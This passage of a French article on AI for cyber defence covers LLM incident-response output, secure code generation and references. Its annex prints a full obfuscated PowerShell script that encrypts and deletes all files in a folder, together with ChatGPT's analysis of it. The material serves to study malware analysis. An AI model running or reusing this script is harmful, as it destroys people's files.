<p>The compromised workstation may have granted the attacker access to sensitive information and credentials on the network, which could potentially lead to further attacks and data breaches. The Poseidon Group is a known advanced persistent threat (APT) group, and their attacks are often highly targeted and sophisticated, making it imperative to respond quickly and effectively to mitigate potential damage.</p>
<p><strong>3- Action or Recommendations:</strong></p>
<ol style="list-style-type: lower-alpha;">
<li>Isolate the compromised workstation: The first step in responding to a security incident is to isolate the compromised system from the network to prevent further damage or spread of the attack. The compromised workstation with the IP address 10.10.10.10 should be taken offline immediately to prevent the attacker from further accessing or exfiltrating sensitive information.</li>
<li>Conduct a forensic investigation: A thorough forensic investigation should be conducted to determine the extent of the damage and whether any other machines on the network have been compromised. The investigation should aim to identify the initial point of entry, the scope of the attack, and any data that may have been exfiltrated by the attacker.</li>
<li>Remediate and patch vulnerabilities: The investigation should identify any vulnerabilities or weaknesses in the security infrastructure that allowed the attack to take place and patch or remediate these as quickly as possible to prevent similar incidents from occurring in the future.</li>
<li>Deploy additional security measures: Additional security measures may need to be deployed to prevent further attacks by the Poseidon Group or other APT groups. This may include deploying intrusion detection and prevention systems, implementing Two-Factor Authentication (2FA), and training employees on how to identify and respond to potential security incidents.</li>
<li>Notify appropriate authorities: Depending on the sensitivity and nature of the data that may have been compromised, it may be necessary to notify appropriate authorities such as law enforcement or regulatory bodies.</li>
</ol>
<p>The company should review their incident response plan and determine the appropriate steps to take regarding notification and disclosure.</p>
<p>&#8212;<br />Your SOC Team<br />Cortex XSOAR</p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: left;"><em>Figure 1 – Informations proposée par XSOAR pour gérer une réponse à un incident de sécurité (d’après <a href="#_ref18">[18]</a>).</em></p>
<p>Ferrag et al. <a href="#_ref19">[19]</a> utilisent FalconLLM<a href="#_ftn11" name="_ftnref11"><sup>11</sup></a> afin d’analyser la sévérité et l’impact potentiel d’une attaque identifiée par un système de détection d’intrusions en la comparant avec sa base de données interne. De manière similaire à PaloAlto XSOAR, l’outil permet également de proposer des stratégies d’atténuation potentielles et des procédures de rétablissement, pouvant ainsi guider une équipe d’intervention. Les réponses proposées restent cependant très générales et peuvent ne pas être utiles à un administrateur expérimenté (voir Figure 2).</p>
<table class=" aligncenter" style="width: 80%; background-color: #a0a0a0; border-style: solid;" cellpadding="5">
<tbody>
<tr>
<td style="width: 100%;">
<p><strong>Cyber Threats detected by SecurityBERT:</strong></p>
<p>SecurityBERT has detected a cyber threat in our industrial network: a Backdoor attack. Can you propose to me a mitigation solution?</p>
<p><strong>FalconLLM model incident response and recovery output:</strong></p>
<p>Yes, I can. There are a few steps that can be taken to mitigate the Backdoor threat. Firstly, it&#8217;s important to identify the source of the attack. This could be done by monitoring the network traffic and looking for any suspicious activity. Once the source has been identified, it&#8217;s important to block any further attempts to access the network. This can be done by implementing firewalls, intrusion detection systems, and other security measures. Additionally, it&#8217;s important to update all software and patches to ensure that the network is as secure as possible. It&#8217;s also a good idea to regularly audit the network for any potential vulnerabilities.</p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: left;"><em>Figure 2 – Exemple de solution de stratégie d’atténuation proposée par FalconLLM (source <a href="#_ref19">[19]</a>).</em></p>
<p>L’IA générative peut également permettre d’automatiser certains aspects de l’analyse des cyber-incidents par les analystes d’un centre des opérations de sécurité. Par exemple, selon A. Krishnan <a href="#_ref20">[20]</a>, ChatGPT pourrait être utilisé pour décrire ce que fait un script Powershell (voir exemple en annexe). De manière similaire, ces outils permettant aussi de générer du code, il est donc possible d’envisager leur utilisation pour faciliter l’écriture de scripts d’analyse de journaux par des analystes (voir annexe).</p>
<p>L’automatisation de la réponse à des incidents est aussi envisagée, mais un problème important reste l’attribution de la responsabilité. Celle-ci est rendue d’autant plus difficile, qu’à ce jours les systèmes d’IA sont encore peu transparents et difficilement explicables.</p>
<p>Enfin, les rapports détaillés sur les incidents de cybersécurité jouent un rôle important pour aider les principales parties prenantes, notamment les équipes opérationnelles de sécurité, les responsables de la sécurité, afin de mieux comprendre et améliorer la posture de sécurité d’une organisation. Certains envisagent l’utilisation d’IA générative afin de synthétiser les journaux d’incidents et rédiger des rapports permettant d’agir plus rapidement.</p>
<h1>Génération de code sécurisé</h1>
<p>Les vulnérabilités de sécurité dans le code sont un problème récurrent affectant la plupart des logiciels et ayant un impact sur l’intégrité, la confidentialité et la disponibilité. L’utilisation de certains langages de programmation connus pour être moins susceptibles que d’autres à des problèmes classiques est recommandée (par exemple Rust plutôt que C). L’examen du code par d’autres programmeurs experts est aussi une méthode largement répandue.</p>
<p>Mais l’analyse de Ganseman <a href="#_ref21">[21]</a> conduit à se poser la question de l’utilité des LLM pour détecter des erreurs ou bogues dans du code existant ou pour aider à écrire du code plus sécurisé. La difficulté réside dans le fait, qu’à ce jour, il faut indiquer les endroits potentiels où le code n’est pas sûr, c’est-à-dire que c’est le développeur qui doit détecter où une amélioration est possible. Il se pourrait que dans un avenir proche, une base de code entière puisse être soumise à un examen de sécurité, mais pour l’instant, cela reste limité à la longueur du contexte et plus la question est précise, meilleure est la réponse.</p>
<p>Paradoxalement, Perry et al. <a href="#_ref22">[22]</a> ont rapporté dans une étude récente que, bien que les assistants augmentent la productivité des développeurs, les participants ayant accès à un assistant basé sur un modèle d’IA (en l’occurrence le <em>codex-davinci-002</em> de OpenAI) écrivaient un code significativement moins sécurisé que ceux sans accès. Pire, les participants avec un accès à l’assistant étaient plus enclins à croire qu’ils écrivaient du code sécurisé, que ceux sans l’assistant. L’adoption d’assistants impose donc la mise en place de pratiques de revue de code et d’analyse statique systématiques <a href="#_ref21">[21]</a>.</p>
<h1>Conclusion</h1>
<p>Même si les progrès de l’IA sont fulgurants dans beaucoup de domaines, l&#8217;apport non-négligeable de l&#8217;IA à la défense des systèmes informatiques reste néanmoins limité&nbsp;: nous sommes en effet encore loin des outils où il suffirait de donner des terra-octets de divers journaux d’événements pour que rapidement les signes d’intrusions soient détectés avec très peu d’erreur.</p>
<p>Aujourd’hui les méthodes statistiques spécialisées et d’apprentissage automatique – comme par exemple la détection d’anomalies – continuent de faire l’objet de recherches importantes et sont ajoutées aux outils commerciaux de détection d’intrusion avec l’étiquette « IA. » Mais en y regardant de plus près, l’IA apparaît principalement comme un nouvel outil de « productivité » pour des professionnels de cybersécurité, contribuant à l&#8217;automatisation de certaines tâches de cyber-défense, ou facilitant la réponse à des incidents et le traitement des renseignements sur les menaces, mais ne remplaçant pas l’analyste humain.</p>
<h1>Références</h1>
<p><a name="_ref1"></a>[1]        B. Schneier, « Artificial Intelligence and the Attack/Defense Balance », <em>IEEE Secur. Priv.</em>, vol. 16, n<sup>o</sup> 2, p. 96‑96, mars 2018, doi: <a href="https://doi.org/10.1109/MSP.2018.1870857" target="_blank" rel="noopener">10.1109/MSP.2018.1870857</a>.</p>
<p><a name="_ref2"></a>[2]        I. H. Sarker, H. Janicke, L. Maglaras, et S. Camtepe, « Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper ». arXiv, 9 août 2023. Consulté le: 27 octobre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2308.05126" target="_blank" rel="noopener">http://arxiv.org/abs/2308.05126</a></p>
<p><a name="_ref3"></a>[3]        J. D’Hoinne, A. Litan, et P. Firstbrook, « 4 Ways Generative AI Will Impact CISOs and Their Teams », Gartner, G00793265, juin 2023.</p>
<p><a name="_ref4"></a>[4]        M. Taddeo, T. McCutcheon, et L. Floridi, « Trusting artificial intelligence in cybersecurity is a double-edged sword », <em>Nat. Mach. Intell.</em>, vol. 1, n<sup>o</sup> 12, p. 557‑560, nov. 2019, doi: <a href="https://doi.org/10.1038/s42256-019-0109-1" target="_blank" rel="noopener noopnener">10.1038/s42256-019-0109-1</a><a>.</a></p>
<p><a name="_ref5"></a>[5]        D. Dasgupta, Z. Akhtar, et S. Sen, « Machine learning in cybersecurity: a comprehensive survey », <em>J. Def. Model. Simul. Appl. Methodol. Technol.</em>, vol. 19, n<sup>o</sup> 1, p. 57‑106, janv. 2022, doi: <a href="https://doi.org/10.1177/1548512920951275" target="_blank" rel="noopener">10.1177/1548512920951275</a>.</p>
<p><a name="_ref6"></a>[6]        M. Nouh, J. R. C. Nurse, H. Webb, et M. Goldsmith, « Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement », in <em>Proceedings 2019 Workshop on Usable Security</em>, 2019. doi: <a href="https://doi.org/10.14722/usec.2019.23032" target="_blank" rel="noopener">10.14722/usec.2019.23032</a>.</p>
<p><a name="_ref7"></a>[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, et D. Napolitano, « Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence », <em>J. Appl. Secur. Res.</em>, vol. 16, n<sup>o</sup> 3, p. 345‑369, juill. 2021, doi: <a href="https://doi.org/10.1080/19361610.2020.1761737" target="_blank" rel="noopener">10.1080/19361610.2020.1761737</a>.</p>
<p><a name="_ref8"></a>[8]        M. Sewak, V. Emani, et A. Naresh, « CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks », 2023.</p>
<p><a name="_ref9"></a>[9]        K. A. Scarfone et P. M. Mell, « Guide to intrusion detection and prevention systems (IDPS) », National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: <a href="https://doi.org/10.6028/NIST.SP.800-94" target="_blank" rel="noopener">10.6028/NIST.SP.800-94</a>.</p>
<p><a name="_ref10"></a>[10]       D. Denning, « An Intrusion-Detection Model », <em>IEEE Trans. Softw. Eng.</em>, vol. 13, n<sup>o</sup> 2, p. 222‑232, 20.</p>
<p><a name="_ref11"></a>[11]       G. Apruzzese <em>et al.</em>, « The role of machine learning in cybersecurity », <em>Digit. Threats Res. Pract.</em>, vol. 4, n<sup>o</sup> 1, p. 1‑38, mars 2023, doi: <a href="https://doi.org/10.1145/3545574" target="_blank" rel="noopener">10.1145/3545574</a>.</p>
<p><a name="_ref12"></a>[12]       A. Bohara, M. A. Noureddine, A. Fawaz, et W. H. Sanders, « An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement », in <em>2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS)</em>, Hong Kong, Hong Kong: IEEE, sept. 2017, p. 224‑233. doi: <a href="https://doi.org/10.1109/SRDS.2017.31" target="_blank" rel="noopener noopnener">10.1109/SRDS.2017.31</a><a>.</a></p>
<p><a name="_ref13"></a>[13]       G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, et A. Guido, « Identifying malicious hosts involved in periodic communications », in <em>2017 IEEE 16th International Symposium on Network Computing and Applications (NCA)</em>, Cambridge, MA: IEEE, oct. 2017, p. 1‑8. doi: <a href="https://doi.org/10.1109/NCA.2017.8171326" target="_blank" rel="noopener noopnener">10.1109/NCA.2017.8171326</a><a>.</a></p>
<p><a name="_ref14"></a>[14]       J. Yang, T. Li, G. Liang, W. He, et Y. Zhao, « A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN », <em>IEEE Access</em>, vol. 7, p. 83286‑83296, 2019, doi: <a href="https://doi.org/10.1109/ACCESS.2019.2922692" target="_blank" rel="noopener noopnener">10.1109/ACCESS.2019.2922692</a><a>.</a></p>
<p><a name="_ref15"></a>[15]       L. Cavallaro, J. Kinder, F. Pendlebury, et F. Pierazzi, « Are Machine Learning Models for Malware Detection Ready for Prime Time? », <em>IEEE Secur. Priv.</em>, vol. 21, n<sup>o</sup> 2, p. 53‑56, mars 2023, doi: <a href="https://doi.org/10.1109/MSEC.2023.3236543" target="_blank" rel="noopener noopnener">10.1109/MSEC.2023.3236543</a><a>.</a></p>
<p><a name="_ref16"></a>[16]       J. L. Hernández-Ramos <em>et al.</em>, « Intrusion detection based on federated learning: a systematic review ». arXiv, 18 août 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2308.09522" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2308.09522</a></p>
<p><a name="_ref17"></a>[17]       Y.-H. Su, M. C. Y. Cho, et H.-C. Huang, « False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering », in <em>Proceedings of the 2nd International Conference on Computing and Big Data</em>, Taichung Taiwan: ACM, oct. 2019, p. 58‑62. doi: <a href="https://doi.org/10.1145/3366650.3366657" target="_blank" rel="noopener noopnener">10.1145/3366650.3366657</a><a>.</a></p>
<p><a name="_ref18"></a>[18]       M. Gupta, C. Akiri, K. Aryal, E. Parker, et L. Praharaj, « From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy », <em>IEEE Access</em>, vol. 11, p. 80218‑80245, août 2023, doi: 10.1109/ACCESS.2023.3300381.</p>
<p><a name="_ref19"></a>[19]       M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, et T. Lestable, « Revolutionizing Cyber Threat Detection with Large Language Models ». arXiv, 25 juin 2023. Consulté le: 8 novembre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2306.14263" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2306.14263</a></p>
<p><a name="_ref20"></a>[20]       A. Krishnan, « 4 ChatGPT cybersecurity benefits for the enterprise | TechTarget », Security. Consulté le: 12 octobre 2023. [En ligne]. Disponible sur: <a href="https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise" target="_blank" rel="noopener noopnener">https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise</a></p>
<p><a name="_ref21"></a>[21]       J. Ganseman, « LLM pour code : the Good, the Bad and the Ugly | Smals Research », Smals Research Blog. Consulté le: 18 octobre 2023. [En ligne]. Disponible sur: <a href="/llms-pour-code/" target="_blank" rel="noopener noopnener">/llms-pour-code/</a></p>
<p><a name="_ref22"></a>[22]       N. Perry, M. Srivastava, D. Kumar, et D. Boneh, « Do Users Write More Insecure Code with AI Assistants? » arXiv, 16 décembre 2022. Consulté le: 3 octobre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2211.03622" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2211.03622</a></p>
<h1>Annexe 1 – Analyse de script malveillant avec ChatGPT</h1>
<p>L’exemple ci-dessous montre la réponse de ChatGPT 4.0 à la question « Que fait ce code ? » suivie d’un échantillon de code. On constate que malgré la tentative d’obfuscation et les commentaires erronés, ChatGPT analyse avec pertinence ce script qui chiffre tous les fichiers dans le dossier &#8220;<code>C:\Local\chat_gpt_ps\test</code>&#8221; ses sous-dossiers.</p>
<h2>Script soumis à ChatGPT</h2>
<div>
<pre><code><span style="color: #0000ff;">function </span><span style="color: #795e00;">Compute_SHA256 </span>{</code><br /><code>    <span style="color: #008000;"># Compute SHA 256 of an object in memory</span></code><br /><code>    [<span style="color: #795e00;">CmdletBinding</span>()]</code><br /><code>    [<span style="color: #795e00;">OutputType</span>([<span style="color: #0000ff;">string</span>])]</code><br /><code>    <span style="color: #af00db;">Param</span></code><br /><code>    (</code><br /><code>        [<span style="color: #795e00;">Parameter</span>(<span style="color: #001080;">Mandatory </span>= <span style="color: #0000ff;">$true</span>)]</code><br /><code>        [<span style="color: #0000ff;">String</span>]<span style="color: #001080;">$salt</span>,</code><br /><code>        [<span style="color: #795e00;">Parameter</span>(<span style="color: #001080;">Mandatory </span>= <span style="color: #0000ff;">$true</span>, <span style="color: #001080;">ParameterSetName </span>= <span style="color: #a31515;">"param"</span>)]</code><br /><code>        [<span style="color: #0000ff;">String</span>]<span style="color: #001080;">$object</span></code><br /><code>    )</code><br /><code>    <span style="color: #af00db;">Begin</span> {</code><br /><code>        <span style="color: #008000;"># Initialise hashing function</span></code><br /><code>        <span style="color: #001080;">$tmp</span> = <span style="color: #795e00;">New-Object</span> byte[] <span style="color: #008000;">16</span></code><br /><code>        <span style="color: #001080;">$sha1</span> = <span style="color: #795e00;">New-Object</span> System.Security.Cryptography.SHA256Managed</code><br /><code>        <span style="color: #001080;">$sha2</span> = <span style="color: #795e00;">New-Object</span> System.Security.Cryptography.AesManaged</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Mode</span> = <span style="color: #a31515;">'CBC'</span> -as [<span style="color: #0000ff;">System.Security.Cryptography.CipherMode</span>]</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Padding</span> = <span style="color: #a31515;">'Zeros'</span> -as [<span style="color: #0000ff;">System.Security.Cryptography.PaddingMode</span>]</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.BlockSize</span> = <span style="color: #008000;">128</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.KeySize</span> = <span style="color: #008000;">256</span></code><br /><code>        [<span style="color: #0000ff;">void</span>][<span style="color: #0000ff;">Security.Cryptography.RNGCryptoServiceProvider</span>]::Create().GetBytes($tmp)</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.IV</span> = <span style="color: #001080;">$tmp</span></code><br /><code>    }</code><br /><code>    <span style="color: #af00db;">Process</span> {</code><br /><code>        <span style="color: #008000;"># Compute hash</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Key</span> = <span style="color: #001080;">$sha1</span><span style="color: #795e00;">.ComputeHash</span>([<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetBytes($salt))</code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="</span>))</code><br /><code>        <span style="color: #001080;">$object2</span> = <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #af00db;">if</span> (!<span style="color: #001080;">$object2</span><span style="color: #795e00;">.FullName</span>) {</code><br /><code>            <span style="color: #af00db;">break</span></code><br /><code>        }</code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="</span>))</code><br /><code>        <span style="color: #001080;">$input</span> = <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #001080;">$output</span> = <span style="color: #001080;">$object2</span><span style="color: #795e00;">.FullName</span> + <span style="color: #a31515;">".xxx"</span></code><br /><code>        <span style="color: #001080;">$sha2_hasher</span> = <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.CreateEncryptor</span>()</code><br /><code>        <span style="color: #001080;">$encryptedBytes</span> = <span style="color: #001080;">$sha2_hasher</span><span style="color: #795e00;">.TransformFinalBlock</span>($input, 0, $input.Length)</code><br /><code>        <span style="color: #001080;">$encryptedBytes</span> = <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.IV</span> + <span style="color: #001080;">$encryptedBytes</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>       </code><br /><code>        <span style="color: #001080;">$e</span> = <span style="color: #001080;">$output</span></code><br /><code>        <span style="color: #001080;">$encD</span> = <span style="color: #001080;">$encryptedBytes</span></code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"</span>))</code><br /><code>        <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        (<span style="color: #795e00;">Get-Item</span> <span style="color: #001080;">$output</span>).LastWriteTime = $object2<span style="color: #795e00;">.LastWriteTime</span></code><br /><code>        <span style="color: #001080;">$f</span> = <span style="color: #001080;">$object2</span></code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"UmVtb3ZlLUl0ZW0gLVBhdGgg"</span>)) + <span style="color: #a31515;">"'</span><span style="color: #001080;">$f<span style="color: #a31515;">'"</span></span></code><br /><code>        <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #af00db;">return</span> <span style="color: #a31515;">"Sortie:</span> <span style="color: #001080;">$output</span><span style="color: #a31515;">"</span>        </code><br /><code>    }</code><br /><code>    <span style="color: #af00db;">End</span> {</code><br /><code>        <span style="color: #001080;">$sha1</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>    }</code><br /><code>}</code><br /><br /><code><span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="</span>))<br /></code><br /><code><span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span> | <span style="color: #795e00;">ForEach-Object</span> {</code><br /><code>    <span style="color: #001080;">$object</span> = <span style="color: #001080;">$_</span><span style="color: #795e00;">.FullName</span></code><br /><code>    Compute_SHA256 -salt <span style="color: #a31515;">"salty"</span> -object <span style="color: #001080;">$object</span></code><br /><code>}</code></pre>
</div>
<h2>Réponse de ChatGPT</h2>
<p>Ce script PowerShell définit une fonction nommée <strong>Compute_SHA256</strong>, qui effectue plusieurs opérations sur les fichiers, notamment le calcul du hachage SHA-256, le chiffrement AES, et la manipulation de fichiers. Voici un détail étape par étape de ce que fait le script&nbsp;:</p>
<ol>
<li><strong>Initialisation</strong>&nbsp;:
<ul>
<li>Définition de paramètres pour la fonction <strong>Compute_SHA256</strong> qui incluent un <strong>salt</strong> et un <strong>object</strong> (nom de fichier).</li>
<li>Initialisation d&#8217;un objet de cryptographie AES (<strong>$sha2</strong>) avec des paramètres spécifiques pour le mode de chiffrement, le padding, la taille de bloc, et la taille de clé.</li>
</ul>
</li>
<li><strong>Traitement</strong>&nbsp;:
<ul>
<li>Utilisation de SHA-256 pour générer une clé de chiffrement à partir du <strong>salt</strong></li>
<li>Déchiffrement de chaînes codées en Base64 pour obtenir des commandes PowerShell qui sont exécutées dynamiquement pour&nbsp;:
<ul>
<li>Lire le contenu d&#8217;un fichier spécifié.</li>
<li>Chiffrer le contenu du fichier avec AES en utilisant la clé générée précédemment.</li>
<li>Concaténer le vecteur d&#8217;initialisation (<strong>IV</strong>) avec le contenu chiffré.</li>
<li>Écrire les données chiffrées dans un nouveau fichier avec l&#8217;extension <strong>.xxx</strong>.</li>
<li>Mettre à jour le timestamp du nouveau fichier pour qu&#8217;il corresponde à celui de l&#8217;original.</li>
<li>Supprimer le fichier original.</li>
</ul>
</li>
</ul>
</li>
</ol>
<ol start="3">
<li><strong>Fin de traitement</strong>&nbsp;:
<ul>
<li>Libération des ressources utilisées par les objets de cryptographie.</li>
</ul>
</li>
<li><strong>Exécution</strong>&nbsp;:
<ul>
<li>Le script exécute une commande pour lister tous les fichiers dans un chemin spécifié de manière récursive.</li>
<li>Pour chaque fichier trouvé, il appelle la fonction <strong>Compute_SHA256</strong> avec un <strong>salt</strong> fixe (&#8220;salty&#8221;) et le chemin du fichier.</li>
</ul>
</li>
</ol>
<p><strong>Objectifs principaux du script</strong></p>
<ul>
<li><strong>Chiffrer des fichiers</strong>&nbsp;: Le contenu des fichiers est chiffré avec AES, utilisant une clé dérivée d&#8217;un <strong>salt</strong>.</li>
<li><strong>Suppression sécurisée</strong>&nbsp;: Après le chiffrement, les fichiers originaux sont supprimés, ce qui pourrait être utilisé pour une sorte de nettoyage de données.</li>
<li><strong>Automatisation de processus</strong>&nbsp;: L&#8217;exécution des commandes est effectuée de manière dynamique, probablement pour masquer les actions effectuées (en utilisant le décodage Base64 pour cacher les commandes réelles).</li>
</ul>
<p><strong>Points d&#8217;attention</strong></p>
<ul>
<li><strong>Sécurité</strong>&nbsp;: Le script effectue des actions dynamiques (via <strong>Invoke-Expression</strong>), ce qui peut être risqué si les entrées ne sont pas correctement validées ou si le script est utilisé dans un environnement non sécurisé.</li>
</ul>
<p><strong>Modification de données</strong>&nbsp;: Il supprime les fichiers originaux après le chiffrement, ce qui peut entraîner une perte de données si le processus n&#8217;est pas contrôlé.</p>
<h2>Question complémentaire</h2>
<p>Où constates-tu que les fichiers originaux sont supprimés?</p>
<h2>Réponse de ChatGPT</h2>
<p>Les fichiers originaux sont supprimés à la fin de la section de traitement (<strong>Process</strong>) de la fonction <strong>Compute_SHA256</strong>. Cela est réalisé grâce à ces étapes spécifiques dans le script&nbsp;:</p>
<ol>
<li>La variable <strong>$f</strong> est assignée à <strong>$object2</strong>, qui contient les informations sur le fichier original.</li>
<li>Une chaîne de commande est construite pour exécuter la commande <strong>Remove-Item</strong>, qui est utilisée pour supprimer des fichiers. La commande est constituée en concaténant la chaîne <strong>&#8220;Remove-Item -Path &#8220;</strong> avec le chemin complet du fichier contenu dans <strong>$f</strong>.</li>
<li>La commande complète est exécutée avec <strong>Invoke-Expression</strong>, effectuant la suppression du fichier original spécifié par <strong>$f</strong>.</li>
</ol>
<p>Voici la portion pertinente du script où cela se produit&nbsp;:</p>
<pre><code>$f = $object2</code><br /><code>$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"</code><br /><code>Invoke-Expression $dynCmd</code></pre>
<p>La chaîne codée en Base64 <strong>&#8220;UmVtb3ZlLUl0ZW0gLVBhdGgg&#8221;</strong> est décodée pour donner <strong>&#8220;Remove-Item -Path &#8220;</strong>, formant ainsi la commande complète pour supprimer le fichier.</p>
<h1>Annexe 2 – Génération de script d’analyse</h1>
<p>Example de génération d’un script d’analyse très simple d’un journal d’événement dans le langage SPL de Splunk.</p>
<h2>Demande faite à ChatGPT</h2>
<p>Écris un script Splunk qui filtre les entrées dont l’adresse source IP n’est pas réservée et n’est pas en Belgique et dont la destination est une IP de classe A commençant par 10.</p>
<h2>Réponse de ChatGPT</h2>
<p>Pour créer un script Splunk qui filtre les entrées de journalisation en fonction de l&#8217;adresse IP source (qui n&#8217;est ni réservée ni en Belgique) et de l&#8217;adresse IP de destination (qui commence par 10), il faudrait d&#8217;abord disposer d&#8217;une liste des plages d&#8217;adresses IP attribuées à la Belgique. Cependant, Splunk en soi n&#8217;effectue pas de géolocalisation directe des adresses IP. Vous auriez besoin d&#8217;une table de correspondance IP-pays ou d&#8217;utiliser une fonctionnalité d&#8217;enrichissement des données qui mappe les adresses IP aux pays.</p>
<p>Pour les besoins de cet exemple, je vais supposer que vous avez accès à une telle table ou à une fonctionnalité dans Splunk. Je vais également supposer que les champs sont nommés <strong>src_ip</strong> pour l&#8217;adresse IP source et <strong>dest_ip</strong> pour l&#8217;adresse IP de destination.</p>
<p>Voici comment pourrait ressembler votre script Splunk&nbsp;:</p>
<pre><code>index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search NOT [ search index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search country="BE" | fields src_ip ] | regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)" | regex dest_ip="^10\." | table src_ip, dest_ip, country, _raw</code></pre>
<p>Explication du script&nbsp;:</p>
<ol>
<li><strong>index=ton_index</strong>&nbsp;: Remplace <strong>ton_index</strong> par l&#8217;index approprié qui contient tes données de logs.</li>
<li><strong>lookup ip_country_lookup src_ip OUTPUT country</strong>&nbsp;: Effectue un lookup pour déterminer le pays de l&#8217;adresse IP source. Remplace <strong>ip_country_lookup</strong> par le nom réel de ta table de lookup ou de ton enrichissement de données qui mappe les adresses IP aux pays.</li>
<li>La sous-requête <strong>search NOT [&#8230;]</strong> exclut toutes les adresses IP provenant de la Belgique. <strong>fields src_ip</strong> est utilisé pour retourner uniquement les adresses IP de la sous-requête.</li>
<li><code>regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)"</code>&nbsp;: Exclut les adresses IP réservées.</li>
<li><strong>regex dest_ip=&#8221;^10\.&#8221;</strong>&nbsp;: Filtre pour inclure uniquement les entrées dont l&#8217;adresse IP de destination commence par 10.</li>
<li><strong>table src_ip, dest_ip, country, _raw</strong>&nbsp;: Affiche les adresses IP source et destination, le pays de l&#8217;adresse source, et la ligne brute du journal.</li>
</ol>
<p>Ce script nécessite que tu aies une lookup table configurée correctement pour la correspondance des adresses IP aux pays, ce qui n&#8217;est pas automatiquement disponible dans Splunk. Il te faudra configurer ou obtenir ces données par toi-même ou utiliser une application Splunk tierce qui offre cette capacité.</p>
<h1>Notes</h1>
<p><a href="#_ftnref1" name="_ftn1"><sup>1</sup></a>   <a href="https://cordis.europa.eu/project/id/700692" target="_blank" rel="noopener">https://cordis.europa.eu/project/id/700692</a></p>
<p><a href="#_ftnref2" name="_ftn2"><sup>2</sup></a>   Une analyse systématique des publications sur l’utilisation de l’IA pour l’OSINT montre que la cybersécurité représente près de la moitié des publications considérées <a href="#_ref7">[7]</a>.</p>
